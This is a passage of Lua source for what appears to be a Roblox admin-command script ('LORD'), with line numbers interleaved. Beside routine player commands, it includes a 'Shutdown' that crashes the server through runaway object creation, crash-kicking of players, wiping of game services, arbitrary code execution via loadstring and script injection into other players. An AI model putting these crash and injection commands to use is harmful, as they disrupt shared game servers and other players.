				if string.find(v.Name:lower(), ScriptName) then
1711
					if v:IsA("Script") or v:IsA("LocalScript") then
1712
						v.Disabled = true
1713
						v:Destroy()
1714
						FoundLocal = true
1715
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1716
					end
1717
				end
1718
			end
1719
		end)
1720
		ypcall(function()
1721
			for _,v in pairs(name.Backpack:GetChildren()) do
1722
				if string.find(v.Name:lower(), ScriptName) then
1723
					if v:IsA("Script") or v:IsA("LocalScript") then
1724
						v.Disabled = true
1725
						v:Destroy()
1726
						FoundLocal = true
1727
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1728
					end
1729
				end
1730
			end
1731
		end)
1732
		ypcall(function()
1733
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1734
				if string.find(v.Name:lower(), ScriptName) then
1735
					if v:IsA("Script") or v:IsA("LocalScript") then
1736
						v.Disabled = true
1737
						v:Destroy()
1738
						FoundLocal = true
1739
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1740
					end
1741
				end
1742
			end
1743
		end)
1744
		if FoundLocal == false then
1745
			Ping("Local Script Not Found", Speaker, 5)
1746
		end
1747
	end
1748
end)
1749
1750
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1751
	for _,v in pairs(game:GetChildren()) do
1752
		ypcall(function()
1753
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1754
				for _,a in pairs(v:GetChildren()) do
1755
					ypcall(function()
1756
						a:Destroy()
1757
					end)
1758
				end
1759
			elseif v.Name == "Players" then
1760
				for _,plr in pairs(v:GetPlayers()) do
1761
					Clear(plr)
1762
				end
1763
			end
1764
		end)
1765
	end
1766
	Clean()
1767
	Fixl()
1768
	Ping("Fully Cleaned", Speaker, 5)
1769
end)
1770
1771
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1772
	LClean()
1773
	Fixl()
1774
	Ping("Lightly Cleaned", Speaker, 5)
1775
end)
1776
1777
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1778
	local PlrTab = getPlayer(Speaker, Msg)
1779
	if #PlrTab > 0 then
1780
		for _,v in pairs(PlrTab) do
1781
			ypcall(function()
1782
				v:LoadCharacter()
1783
				Ping("Reset "..v.Name, Speaker, 5)
1784
			end)
1785
		end
1786
	end
1787
end)
1788
1789
Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
1790
	local PlrTab = getPlayer(Speaker, Msg)
1791
	if #PlrTab > 0 then
1792
		for _,v in pairs(PlrTab) do
1793
			ypcall(function()
1794
				v:LoadCharacter()
1795
				Ping("Respawned "..v.Name, Speaker, 5)
1796
			end)
1797
		end
1798
	end
1799
end)
1800
1801
1802
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1803
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1804
	if Work:findFirstChild("Base") then
1805
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1806
	else
1807
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1808
	end
1809
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1810
end)
1811
1812
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1813
	local PlrTab = getPlayer(Speaker, Msg)
1814
	if #PlrTab > 0 then
1815
		for _,v in pairs(PlrTab) do
1816
			ypcall(function()
1817
				v.Character.Torso.Anchored = true
1818
				Ping("Froze "..v.Name, Speaker, 5)
1819
			end)
1820
		end
1821
	end
1822
end)
1823
1824
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1825
	local PlrTab = getPlayer(Speaker, Msg)
1826
	if #PlrTab > 0 then
1827
		for _,v in pairs(PlrTab) do
1828
			ypcall(function()
1829
				for _,v2 in pairs(v.Character:GetChildren()) do
1830
					ypcall(function()
1831
						v.Torso.Anchored = false
1832
					end)
1833
				end
1834
				Ping("Thawed "..v.Name, Speaker, 5)
1835
			end)
1836
		end
1837
	end
1838
end)
1839
1840
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1841
	local PlrTab = getPlayer(Speaker, Msg)
1842
	if #PlrTab > 0 then
1843
		for _,v in pairs(PlrTab) do
1844
			ypcall(function()
1845
				Instance.new("ForceField", v.Character)
1846
			end)
1847
		end
1848
	end
1849
end)
1850
1851
1852
Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
1853
	local PlrTab = getPlayer(Speaker, Msg)
1854
	if #PlrTab > 0 then
1855
		for _,v in pairs(PlrTab) do
1856
			ypcall(function()
1857
t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1858
t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1859
t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1860
t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1861
			end)
1862
		end
1863
	end
1864
end)
1865
1866
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1867
	local PlrTab = getPlayer(Speaker, Msg)
1868
	if #PlrTab > 0 then
1869
		for _,v in pairs(PlrTab) do
1870
			ypcall(function()
1871
				RemObj(v.Character, "ForceField")
1872
			end)
1873
		end
1874
	end
1875
end)
1876
1877
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1878
	local Split = GetSplit(Msg)
1879
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1880
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1881
	if #PlrTab > 0 and #PlrTab2 > 0 then
1882
		for i,v in pairs(PlrTab) do
1883
			ypcall(function()
1884
				for _,v2 in pairs(PlrTab2) do
1885
					ypcall(function()
1886
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1887
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1888
					end)
1889
				end
1890
			end)
1891
		end
1892
	end
1893
end)
1894
1895
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1896
	MakeExplorer(Speaker)
1897
end)
1898
1899
Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
1900
	wait()
1901
	Dismiss(Speaker)
1902
	NumBanned = 0
1903
	NumCmds = 0
1904
	for i = 1, #Rankings do
1905
		if Rankings[i].Rank < 0 then
1906
			NumBanned = NumBanned + 1
1907
		end
1908
	end
1909
	for i,v in pairs(Commands) do
1910
		NumCmds = NumCmds + 1
1911
	end
1912
	Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
1913
	Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
1914
	Ping("Date Started: 18th May 2013", Speaker)
1915
	Ping("Your ID: "..Speaker.userId, Speaker)
1916
	Ping("Total Number Of Players: "..#All2(), Speaker)
1917
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1918
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1919
	Ping("ShowGarbage", Speaker)
1920
end)
1921
1922
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1923
	Dismiss(Speaker)
1924
	for i,v in pairs(All()) do
1925
		Ping(v.Name.."'s Rank: "..FindRank(v))
1926
	end
1927
end)
1928
1929
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1930
	local Split = GetSplit(Msg)
1931
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1932
	local Speed = tonumber(Msg:sub(Split + 1))
1933
	for _,v in pairs(PlrTab) do
1934
		ypcall(function()
1935
			v.Character.Humanoid.WalkSpeed = Speed
1936
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1937
		end)
1938
	end
1939
end)
1940
1941
Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
1942
	local RemoveAB = Instance.new("StringValue")
1943
	RemoveAB.Name = "LORD Attachment"
1944
	RemoveAB.Value = [[LORD.override=true;]]
1945
	RemoveAB.Parent = Work
1946
	Ping("Removed All LORD Anti-Bans", Speaker, 5)
1947
end)
1948
1949
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1950
	Dismiss(Speaker)
1951
	for i,v in pairs(Injected) do
1952
		Ping(i, Speaker)
1953
	end
1954
end)
1955
1956
Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
1957
	local RemoveCBA = Instance.new("StringValue")
1958
	RemoveCBA.Name = "LORD Attachment"
1959
	RemoveCBA.Value = [[LORD.remove = false]]
1960
	RemoveCBA.Parent = Work
1961
	Ping("Removed All LORD Admins", Speaker, 5)
1962
end)
1963
1964
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1965
	local function BufferOverflow(object)
1966
		object.DescendantAdded:connect(BufferOverflow)
1967
		Instance.new("IntValue", object)
1968
	end
1969
	BufferOverflow(Game)
1970
end)
1971
1972
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1973
	local PlrTab = getPlayer(Speaker, Msg)
1974
	if #PlrTab > 0 then
1975
		for _,v in pairs(PlrTab) do
1976
			ypcall(function()
1977
				Crash1(v)
1978
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1979
			end)
1980
		end
1981
	end
1982
end)
1983
1984
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1985
	local PlrTab = getPlayer(Speaker, Msg)
1986
	if #PlrTab > 0 then
1987
		for _,v in pairs(PlrTab) do
1988
			ypcall(function()
1989
				ChangeRank(v, -1)
1990
			end)
1991
		end
1992
	end
1993
end)
1994
1995
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1996
	local PlrTab = getPlayer(Speaker, Msg)
1997
	if #PlrTab > 0 then
1998
		for _,v in pairs(PlrTab) do
1999
			ypcall(function()
2000
				ChangeRank(v, -2)
2001
			end)
2002
		end
2003
	end
2004
end)
2005
2006
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
2007
	local PlrTab = getPlayer(Speaker, Msg)
2008
	if #PlrTab > 0 then
2009
		for _,v in pairs(PlrTab) do
2010
			ypcall(function()
2011
				ChangeRank(v, -3)
2012
			end)
2013
		end
2014
	end
2015
end)
2016
2017
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2018
	ypcall(function()
2019
		local PlrTab = getPlayer(Speaker, Msg)
2020
		if #PlrTab > 0 then
2021
			for _,v in pairs(PlrTab) do
2022
				ypcall(function()
2023
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2024
				end)
2025
			end
2026
		end
2027
		local PlrName = ChangeRank(Msg, 0)
2028
		Ping("Un-Banned "..PlrName, Speaker, 5)
2029
	end)
2030
end)
2031
2032
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
2033
	Dismiss(Speaker)
2034
	Ping("Commands", Speaker, nil, function()
2035
		Dismiss(Speaker.Name)
2036
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2037
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2038
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2039
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2040
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2041
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2042
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2043
		Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
2044
	end)
2045
	Ping("Players", Speaker, nil, function()
2046
		ListPlayers(Speaker)
2047
	end)
2048
end)
2049
2050
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2051
	ListPlayers(Speaker)
2052
end)
2053
2054
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2055
	local Func,Error = loadstring(Msg)
2056
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2057
	getfenv(Func).Speaker = Speaker
2058
	if Error == nil then
2059
		coroutine.wrap(function()
2060
			Func()
2061
		end)()
2062
		Ping("Executed Script!", Speaker, 5)
2063
	else
2064
		Ping(Error, Speaker, 10)
2065
	end
2066
end)
2067
2068
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2069
	if LS ~= nil then
2070
		local Split = GetSplit(Msg)
2071
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2072
		local LocalSource = Msg:sub(Split + 1)
2073
		if #PlrTab > 0 then
2074
			for _,v in pairs(PlrTab) do
2075
				local Inserted = LS:Clone()
2076
				Inserted.Disabled = true
2077
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2078
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2079
					Inserted:findFirstChild(OwnSource).Value = v.Name
2080
				end
2081
				Inserted[LSSource].Value = LocalSource
2082
				Inserted.Disabled = false
2083
			end
2084
		end
2085
	else
2086
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2087
	end
2088
end)
2089
2090
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2091
	Msg = tostring(Msg)
2092
	Ping(Msg, Speaker)
2093
end)
2094
2095
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2096
	Dismiss(Speaker)
2097
	for i,v in pairs(getfenv(1)) do
2098
		ypcall(function()
2099
			Ping(tostring(i)..": "..tostring(v), Speaker)
2100
		end)
2101
	end
2102
end)
2103
2104
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2105
	Dismiss()
2106
	Removed = true
2107
	for i,v in pairs(getfenv(1)) do
2108
		getfenv(1)[i] = nil
2109
	end
2110
	script.Disabled = true
2111
end)
2112
2113
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2114
	local Split = GetSplit(Msg)
2115
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2116
	local Rank = tonumber(Msg:sub(Split + 1))
2117
	if #PlrTab > 0 then
2118
		for _,v in pairs(PlrTab) do
2119
			if v.Name ~= Owner then
2120
				ChangeRank(v, Rank)
2121
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2122
			end
2123
		end
2124
	end
2125
end)